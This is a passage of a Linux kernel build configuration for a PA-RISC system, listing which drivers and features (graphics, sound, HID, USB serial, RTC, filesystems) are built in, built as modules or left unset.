# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_AS3711 is not set
# CONFIG_PMIC_ADP5520 is not set
# CONFIG_MFD_CROS_EC is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_DA9052_I2C is not set
# CONFIG_MFD_DA9055 is not set
# CONFIG_MFD_MC13XXX_I2C is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_LPC_ICH is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_88PM800 is not set
# CONFIG_MFD_88PM805 is not set
# CONFIG_MFD_88PM860X is not set
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX8907 is not set
# CONFIG_MFD_MAX8925 is not set
# CONFIG_MFD_MAX8997 is not set
# CONFIG_MFD_MAX8998 is not set
# CONFIG_MFD_VIPERBOARD is not set
# CONFIG_MFD_RETU is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_SEC_CORE is not set
# CONFIG_MFD_SI476X_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_SMSC is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_STMPE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_LP8788 is not set
# CONFIG_MFD_PALMAS is not set
# CONFIG_TPS6105X is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TPS65090 is not set
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TPS6586X is not set
# CONFIG_MFD_TPS80031 is not set
# CONFIG_TWL4030_CORE is not set
# CONFIG_TWL6040_CORE is not set
# CONFIG_MFD_WL1273_CORE is not set
# CONFIG_MFD_LM3533 is not set
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_ARIZONA_I2C is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_WM8994 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
CONFIG_AGP=m
CONFIG_AGP_PARISC=m
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
CONFIG_DRM=m
CONFIG_DRM_KMS_HELPER=m
# CONFIG_DRM_LOAD_EDID_FIRMWARE is not set
CONFIG_DRM_TTM=m

#
# I2C encoder or helper chips
#
# CONFIG_DRM_I2C_CH7006 is not set
# CONFIG_DRM_I2C_SIL164 is not set
# CONFIG_DRM_I2C_NXP_TDA998X is not set
# CONFIG_DRM_TDFX is not set
# CONFIG_DRM_R128 is not set
CONFIG_DRM_RADEON=m
# CONFIG_DRM_RADEON_UMS is not set
# CONFIG_DRM_NOUVEAU is not set
# CONFIG_DRM_MGA is not set
# CONFIG_DRM_SIS is not set
# CONFIG_DRM_VIA is not set
# CONFIG_DRM_SAVAGE is not set
# CONFIG_DRM_VMWGFX is not set
# CONFIG_DRM_UDL is not set
# CONFIG_DRM_AST is not set
# CONFIG_DRM_MGAG200 is not set
# CONFIG_DRM_CIRRUS_QEMU is not set
# CONFIG_DRM_QXL is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_HDMI=y
CONFIG_FB=m
# CONFIG_FIRMWARE_EDID is not set
CONFIG_FB_DDC=m
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=m
CONFIG_FB_CFB_COPYAREA=m
CONFIG_FB_CFB_IMAGEBLIT=m
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
CONFIG_FB_BACKLIGHT=y
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=m
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
# CONFIG_FB_MATROX is not set
CONFIG_FB_RADEON=m
CONFIG_FB_RADEON_I2C=y
CONFIG_FB_RADEON_BACKLIGHT=y
# CONFIG_FB_RADEON_DEBUG is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_GOLDFISH is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_FB_AUO_K190X is not set
# CONFIG_EXYNOS_VIDEO is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
CONFIG_LCD_CLASS_DEVICE=m
# CONFIG_LCD_PLATFORM is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
CONFIG_BACKLIGHT_GENERIC=y
# CONFIG_BACKLIGHT_ADP8860 is not set
# CONFIG_BACKLIGHT_ADP8870 is not set
# CONFIG_BACKLIGHT_LM3630 is not set
# CONFIG_BACKLIGHT_LM3639 is not set
# CONFIG_BACKLIGHT_LP855X is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=m
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y
CONFIG_SOUND=m
# CONFIG_SOUND_OSS_CORE is not set
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
# CONFIG_SND_SEQUENCER is not set
# CONFIG_SND_MIXER_OSS is not set
# CONFIG_SND_PCM_OSS is not set
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_ALOOP is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_USB=y
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_UA101 is not set
# CONFIG_SND_USB_CAIAQ is not set
# CONFIG_SND_USB_6FIRE is not set
# CONFIG_SND_USB_HIFACE is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m

#
# HID support
#
CONFIG_HID=y
# CONFIG_HID_BATTERY_STRENGTH is not set
# CONFIG_HIDRAW is not set
# CONFIG_UHID is not set
CONFIG_HID_GENERIC=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
# CONFIG_HID_ACRUX is not set
CONFIG_HID_APPLE=y
# CONFIG_HID_APPLEIR is not set
# CONFIG_HID_AUREAL is not set
CONFIG_HID_BELKIN=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
# CONFIG_HID_PRODIKEYS is not set
CONFIG_HID_CYPRESS=y
CONFIG_HID_DRAGONRISE=y
# CONFIG_DRAGONRISE_FF is not set
# CONFIG_HID_EMS_FF is not set
# CONFIG_HID_ELECOM is not set
# CONFIG_HID_ELO is not set
CONFIG_HID_EZKEY=y
# CONFIG_HID_HOLTEK is not set
# CONFIG_HID_HUION is not set
# CONFIG_HID_KEYTOUCH is not set
CONFIG_HID_KYE=y
# CONFIG_HID_UCLOGIC is not set
# CONFIG_HID_WALTOP is not set
CONFIG_HID_GYRATION=y
# CONFIG_HID_ICADE is not set
CONFIG_HID_TWINHAN=y
CONFIG_HID_KENSINGTON=y
# CONFIG_HID_LCPOWER is not set
# CONFIG_HID_LENOVO_TPKBD is not set
CONFIG_HID_LOGITECH=y
CONFIG_HID_LOGITECH_DJ=m
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
# CONFIG_LOGIG940_FF is not set
# CONFIG_LOGIWHEELS_FF is not set
# CONFIG_HID_MAGICMOUSE is not set
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
# CONFIG_HID_MULTITOUCH is not set
CONFIG_HID_NTRIG=m
# CONFIG_HID_ORTEK is not set
CONFIG_HID_PANTHERLORD=y
# CONFIG_PANTHERLORD_FF is not set
CONFIG_HID_PETALYNX=y
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_PRIMAX is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_SAITEK is not set
CONFIG_HID_SAMSUNG=y
# CONFIG_HID_SPEEDLINK is not set
# CONFIG_HID_STEELSERIES is not set
CONFIG_HID_SUNPLUS=y
CONFIG_HID_GREENASIA=y
# CONFIG_GREENASIA_FF is not set
CONFIG_HID_SMARTJOYPLUS=y
# CONFIG_SMARTJOYPLUS_FF is not set
# CONFIG_HID_TIVO is not set
CONFIG_HID_TOPSEED=y
CONFIG_HID_THRUSTMASTER=y
# CONFIG_THRUSTMASTER_FF is not set
CONFIG_HID_ZEROPLUS=y
# CONFIG_ZEROPLUS_FF is not set
# CONFIG_HID_ZYDACRON is not set
# CONFIG_HID_SENSOR_HUB is not set

#
# USB HID support
#
CONFIG_USB_HID=m
# CONFIG_HID_PID is not set
CONFIG_USB_HIDDEV=y

#
# I2C HID support
#
# CONFIG_I2C_HID is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=m
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=m
CONFIG_USB_DEBUG=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
# CONFIG_USB_DYNAMIC_MINORS is not set
CONFIG_USB_MON=m
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
CONFIG_USB_EHCI_PCI=m
# CONFIG_USB_EHCI_HCD_PLATFORM is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
# CONFIG_USB_FUSBH200_HCD is not set
CONFIG_USB_OHCI_HCD=m
CONFIG_USB_OHCI_HCD_PCI=m
# CONFIG_USB_OHCI_HCD_SSB is not set
# CONFIG_USB_OHCI_HCD_PLATFORM is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=m
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_HCD_SSB is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
CONFIG_USB_STORAGE_DEBUG=y
# CONFIG_USB_STORAGE_REALTEK is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_STORAGE_ENE_UB6250 is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_DWC3 is not set
# CONFIG_USB_CHIPIDEA is not set

#
# USB port drivers
#
CONFIG_USB_SERIAL=m
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_AIRCABLE=m
CONFIG_USB_SERIAL_ARK3116=m
CONFIG_USB_SERIAL_BELKIN=m
CONFIG_USB_SERIAL_CH341=m
CONFIG_USB_SERIAL_WHITEHEAT=m
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
CONFIG_USB_SERIAL_CP210X=m
CONFIG_USB_SERIAL_CYPRESS_M8=m
CONFIG_USB_SERIAL_EMPEG=m
CONFIG_USB_SERIAL_FTDI_SIO=m
CONFIG_USB_SERIAL_FUNSOFT=m
CONFIG_USB_SERIAL_VISOR=m
CONFIG_USB_SERIAL_IPAQ=m
CONFIG_USB_SERIAL_IR=m
CONFIG_USB_SERIAL_EDGEPORT=m
CONFIG_USB_SERIAL_EDGEPORT_TI=m
CONFIG_USB_SERIAL_F81232=m
CONFIG_USB_SERIAL_GARMIN=m
CONFIG_USB_SERIAL_IPW=m
CONFIG_USB_SERIAL_IUU=m
CONFIG_USB_SERIAL_KEYSPAN_PDA=m
CONFIG_USB_SERIAL_KEYSPAN=m
CONFIG_USB_SERIAL_KEYSPAN_MPR=y
CONFIG_USB_SERIAL_KEYSPAN_USA28=y
CONFIG_USB_SERIAL_KEYSPAN_USA28X=y
CONFIG_USB_SERIAL_KEYSPAN_USA28XA=y
CONFIG_USB_SERIAL_KEYSPAN_USA28XB=y
CONFIG_USB_SERIAL_KEYSPAN_USA19=y
CONFIG_USB_SERIAL_KEYSPAN_USA18X=y
CONFIG_USB_SERIAL_KEYSPAN_USA19W=y
CONFIG_USB_SERIAL_KEYSPAN_USA19QW=y
CONFIG_USB_SERIAL_KEYSPAN_USA19QI=y
CONFIG_USB_SERIAL_KEYSPAN_USA49W=y
CONFIG_USB_SERIAL_KEYSPAN_USA49WLC=y
CONFIG_USB_SERIAL_KLSI=m
CONFIG_USB_SERIAL_KOBIL_SCT=m
CONFIG_USB_SERIAL_MCT_U232=m
CONFIG_USB_SERIAL_METRO=m
CONFIG_USB_SERIAL_MOS7720=m
CONFIG_USB_SERIAL_MOS7840=m
CONFIG_USB_SERIAL_MOTOROLA=m
CONFIG_USB_SERIAL_NAVMAN=m
CONFIG_USB_SERIAL_PL2303=m
CONFIG_USB_SERIAL_OTI6858=m
CONFIG_USB_SERIAL_QCAUX=m
CONFIG_USB_SERIAL_QUALCOMM=m
CONFIG_USB_SERIAL_SPCP8X5=m
CONFIG_USB_SERIAL_HP4X=m
CONFIG_USB_SERIAL_SAFE=m
CONFIG_USB_SERIAL_SAFE_PADDED=y
CONFIG_USB_SERIAL_SIEMENS_MPI=m
CONFIG_USB_SERIAL_SIERRAWIRELESS=m
CONFIG_USB_SERIAL_SYMBOL=m
CONFIG_USB_SERIAL_TI=m
CONFIG_USB_SERIAL_CYBERJACK=m
CONFIG_USB_SERIAL_XIRCOM=m
CONFIG_USB_SERIAL_WWAN=m
CONFIG_USB_SERIAL_OPTION=m
CONFIG_USB_SERIAL_OMNINET=m
CONFIG_USB_SERIAL_OPTICON=m
CONFIG_USB_SERIAL_VIVOPAY_SERIAL=m
CONFIG_USB_SERIAL_XSENS_MT=m
CONFIG_USB_SERIAL_ZIO=m
CONFIG_USB_SERIAL_WISHBONE=m
CONFIG_USB_SERIAL_ZTE=m
CONFIG_USB_SERIAL_SSU100=m
CONFIG_USB_SERIAL_QT2=m
# CONFIG_USB_SERIAL_FLASHLOADER is not set
# CONFIG_USB_SERIAL_SUUNTO is not set
CONFIG_USB_SERIAL_DEBUG=m

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_YUREX is not set
CONFIG_USB_EZUSB_FX2=m
# CONFIG_USB_HSIC_USB3503 is not set
CONFIG_USB_PHY=y
CONFIG_NOP_USB_XCEIV=m
CONFIG_OMAP_CONTROL_USB=m
CONFIG_OMAP_USB3=m
CONFIG_SAMSUNG_USBPHY=m
CONFIG_SAMSUNG_USB2PHY=m
CONFIG_SAMSUNG_USB3PHY=m
CONFIG_USB_ISP1301=m
CONFIG_USB_RCAR_PHY=m
# CONFIG_USB_GADGET is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF2127 is not set
# CONFIG_RTC_DRV_PCF8523 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set
# CONFIG_RTC_DRV_DS2404 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y

#
# HID Sensor RTC drivers
#
# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_STAGING is not set

#
# Hardware Spinlock drivers
#
# CONFIG_MAILBOX is not set
# CONFIG_IOMMU_SUPPORT is not set

#
# Remoteproc drivers
#
# CONFIG_STE_MODEM_RPROC is not set

#
# Rpmsg drivers
#
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set
# CONFIG_FMC is not set

#
# File systems
#
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT23=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
CONFIG_PRINT_QUOTA_WARNING=y
CONFIG_QUOTA_DEBUG=y
CONFIG_QUOTA_TREE=m
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=y
CONFIG_FUSE_FS=m
# CONFIG_CUSE is not set

#
# Caches
#
CONFIG_FSCACHE=m
# CONFIG_FSCACHE_STATS is not set
# CONFIG_FSCACHE_HISTOGRAM is not set
# CONFIG_FSCACHE_DEBUG is not set
# CONFIG_FSCACHE_OBJECT_LIST is not set
CONFIG_CACHEFILES=m
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_HISTOGRAM is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_TMPFS_XATTR is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_ECRYPT_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
# CONFIG_CRAMFS is not set
CONFIG_SQUASHFS=m
CONFIG_SQUASHFS_XATTR=y
CONFIG_SQUASHFS_ZLIB=y
# CONFIG_SQUASHFS_LZO is not set
# CONFIG_SQUASHFS_XZ is not set
# CONFIG_SQUASHFS_4K_DEVBLK_SIZE is not set
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX6FS_FS is not set
